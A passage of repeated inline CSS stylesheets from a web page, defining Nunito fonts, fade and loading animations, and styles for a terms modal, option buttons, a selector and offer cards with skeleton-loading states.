opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.modal-terms {
position: fixed;
width: 100%;
left: 0;
top: 0;
background-color: #f0f2f5;
padding: 70px 0;
color: #122e43;
font-size: 14px;
line-height: 18px;
font-family: Nunito-Regular;
overflow-y: scroll;
z-index: 9999;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateY(100%);
-moz-transform: translateY(100%);
-ms-transform: translateY(100%);
-o-transform: translateY(100%);
transform: translateY(100%);
opacity: 0;
visibility: hidden; }
.modal-terms.modal--open {
height: 100%;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transition: .3s;
-moz-transition: .3s;
-ms-transition: .3s;
-o-transition: .3s;
transition: .3s;
-webkit-transform: translateY(0);
-moz-transform: translateY(0);
-ms-transform: translateY(0);
-o-transform: translateY(0);
transform: translateY(0);
opacity: 1;
visibility: visible; }
.modal-terms.modal--close {
-webkit-transition: .3s;
-moz-transition: .3s;
-ms-transition: .3s;
-o-transition: .3s;
transition: .3s; }
.modal-terms h1 {
font-size: 18px;
line-height: 18px;
text-align: center;
font-family: Nunito-Regular;
margin-bottom: 40px;
font-weight: normal;
padding: 0 100px; }
.modal-terms .modal--close-icon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
.modal-terms .modal-terms__content {
padding: 0 100px; }
@media (max-width: 727px) {
.modal-terms {
padding: 70px 0; }
.modal-terms h1 {
padding: 0 26px; }
.modal-terms .modal-terms__content {
padding: 0 26px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.option-button {
display: flex;
flex-flow: row wrap;
border-radius: 6px;
background-color: #f0f4f9;
text-align: center;
position: relative; }
.option-button--default {
color: #788fa0; }
.option-button--default .option-button__value--period.active, .option-button--default .option-button__value--genre.active, .option-button--default .option-button__value--status.active,
.option-button--default .option-button__animated--period.active,
.option-button--default .option-button__animated--genre.active,
.option-button--default .option-button__animated--status.active {
background-color: #18a0fb; }
.option-button .option-button__value--genre, .option-button .option-button__value--period {
flex: 1;
height: 56px;
z-index: 2;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
flex-direction: column; }
.option-button .option-button__value--genre.active, .option-button .option-button__value--period.active {
color: #ffffff;
border-radius: 6px;
background-color: #18a0fb;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.option-button .option-button__value--genre .title {
font-size: 16px;
font-family: Nunito-SemiBold;
line-height: 16px; }
.option-button .option-button__value--period .title {
font-size: 16px;
font-family: Nunito-Bold;
line-height: 16px; }
.option-button .option-button__value--period .footer {
font-size: 12px;
line-height: 16px;
color: #4b94ca;
font-family: NunitoSans-Regular; }
.option-button .option-button__value--period.active .footer {
color: #ffffff;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.option-button .option-button__value--status {
width: 50%;
height: 120px;
z-index: 2;
cursor: pointer;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center; }
.option-button .option-button__value--status .title {
font-size: 15px;
font-family: Nunito-Bold;
line-height: 23px; }
.option-button .option-button__value--status.active {
color: #ffffff;
border-radius: 6px;
background-color: #18a0fb;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.option-button .option-button__value--status.active img {
-webkit-filter: brightness(0) invert(1);
filter: brightness(0) invert(1);
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.option-button .option-button__animated {
position: absolute;
background-color: transparent;
z-index: 1; }
.option-button .option-button__animated--period, .option-button .option-button__animated--genre {
height: 56px;
flex: 1;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.option-button .option-button__animated--status {
width: 50%;
height: 120px;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.selector {
display: flex;
justify-content: space-between;
align-items: center;
padding: 4px;
border-radius: 50px;
background-color: #ecf2f8; }
.selector .selector__value {
width: 40px;
height: 40px;
display: flex;
justify-content: center;
align-items: center;
font-family: Nunito-ExtraBold;
font-size: 20px;
line-height: 18px;
cursor: pointer; }
.selector .selector__animated {
position: absolute;
width: 40px;
height: 40px;
border-radius: 50%;
background-color: transparent;
z-index: 1;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.selector .selector__value {
z-index: 2; }
.selector .selector__value.active {
color: #ffffff;
border-radius: 50%;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.selector .selector__value.oval {
width: auto;
padding: 0 18px;
border-radius: 20px; }
.selector--default {
color: #788fa0; }
.selector--default .selector__animated.active {
background-color: #ff7a02; }
.selector--default .selector__value.active {
background-color: #ff7a02; }
.selector--paris {
color: #788fa0; }
.selector--paris .selector__animated.active {
background-color: #009ce0; }
.selector--paris .selector__value.active {
background-color: #009ce0; }
@media (max-width: 727px) {
.selector {
border-radius: 30px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.container__offer--share--increase--card {
width: 100%;
height: 165px;
box-sizing: border-box;
background-color: #ffffff;
border: 1px solid #d4e3f2;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
border-radius: 6px;
display: flex; }
@media (max-width: 576px) {
.container__offer--share--increase--card {
height: auto; } }
.container__offer--share--increase--card .offer--share--increase--card__image {
flex: 0 0 155px;
height: 100%;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
border-radius: 6px 0 0 6px;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 576px) {
.container__offer--share--increase--card .offer--share--increase--card__image {
display: none; } }
.container__offer--share--increase--card .offer--share--increase--card__image--loading {
flex: 0 0 155px;
height: 100%;
border-radius: 6px 0 0 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.container__offer--share--increase--card .offer--share--increase--card__image--loading {
display: none; } }
.container__offer--share--increase--card .offer--share--increase--card__information {
width: 100%;
padding: 24px;
display: flex;
flex-direction: column; }
@media (max-width: 576px) {
.container__offer--share--increase--card .offer--share--increase--card__information {
padding: 16px; } }
.container__offer--share--increase--card .offer--share--increase--card__information .information__title {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 20px;
color: #122e43;
margin-bottom: 2px; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__title.loading {
width: 150px;
height: 20px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%;
margin-bottom: 2px; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__title.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__subtitle {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 20px;
color: #122e43;
margin: 0 0 8px 0; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__subtitle.loading {
width: 80px;
height: 16px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%;
margin-bottom: 8px; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__subtitle.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__subtitle .subtitle__amount {
font-family: Nunito-ExtraBold;
color: #ff7a02; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__validity {
font-family: Nunito-Regular;
font-size: 12px;
line-height: 20px;
color: #416179;
margin: 0; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__validity.loading {
width: 100%;
height: 16px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%;
margin-bottom: 4px; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__validity.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__validity .validity__start,
.container__offer--share--increase--card .offer--share--increase--card__information .information__validity .validity__end {
font-family: Nunito-Bold; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__detail--validity {
font-family: Nunito-Regular;
font-size: 12px;
line-height: 20px;
color: #416179;
margin-bottom: 8px; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__detail--validity.loading {
width: 80px;
height: 12px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%;
margin-bottom: 16px; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__detail--validity.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__call {
font-family: NunitoSans-SemiBold;
font-size: 14px;
line-height: 22px;
color: #416179;
margin: 0; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__call.loading {
width: 150px;
height: 20px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%;
margin-bottom: 8px; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__call.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 576px) {
.container__offer--share--increase--card .offer--share--increase--card__information .information__call {
display: none; } }
.container__offer--share--increase--card .offer--share--increase--card__information .information__call .call__btn {
font-family: NunitoSans-ExtraBold;
color: #416179;
text-decoration: none;
cursor: pointer; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__button {
display: none; }
@media (max-width: 576px) {
.container__offer--share--increase--card .offer--share--increase--card__information .information__button {
display: flex; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__button .button {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__button .button .button__content {
font-family: Nunito-SemiBold;
font-size: 16px;
line-height: 24px;
color: #122e43; }
.container__offer--share--increase--card .offer--share--increase--card__information .information__button .button__loading {
width: 100%;
height: 42px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.container__primary--card {
width: 245px;
background-color: #ffffff;
display: flex;
flex-direction: column;
justify-content: space-between;
border-radius: 6px;
box-sizing: border-box;
border: 1px solid #d4e3f2;
padding: 24px;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
overflow: auto;
position: relative; }
@media (max-width: 576px) {
.container__primary--card {
width: 100%;
height: auto;
padding: 16px; } }
.container__primary--card .primary--card__badget {
width: 115px;
height: 25px;
display: flex;
justify-content: center;
align-items: center;
position: absolute;
top: 15px;
left: -35px;
text-align: center;
background: linear-gradient(to right, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
-webkit-transform: rotate(-45deg);
-moz-transform: rotate(-45deg);
-ms-transform: rotate(-45deg);
-o-transform: rotate(-45deg);
transform: rotate(-45deg); }
.container__primary--card .primary--card__badget.loading {
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__primary--card .primary--card__badget.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__badget .badget__text {
font-family: Nunito-ExtraBold;
font-size: 14px;
line-height: 17px;
text-transform: uppercase;
color: #ffffff; }
.container__primary--card .primary--card__header {
display: flex;
flex-direction: column;
align-items: center;
text-align: center;
margin-bottom: 16px; }
.container__primary--card .primary--card__header .header__title {
font-family: Nunito-ExtraBold;
font-size: 24px;
line-height: 24px;
color: #ff7a02;
margin: 0; }
.container__primary--card .primary--card__header .header__title.loading {
width: 135px;
height: 24px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.container__primary--card .primary--card__header .header__title.loading {
margin-bottom: 4px; } }
.container__primary--card .primary--card__header .header__title.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__header .header__subtitle {
font-family: Nunito-ExtraBold;
font-size: 20px;
line-height: 20px;
color: #416179;
margin: 0 0 12px; }
.container__primary--card .primary--card__header .header__subtitle.fadeIn {
-webkit-animation: fadeIn ease 1s;
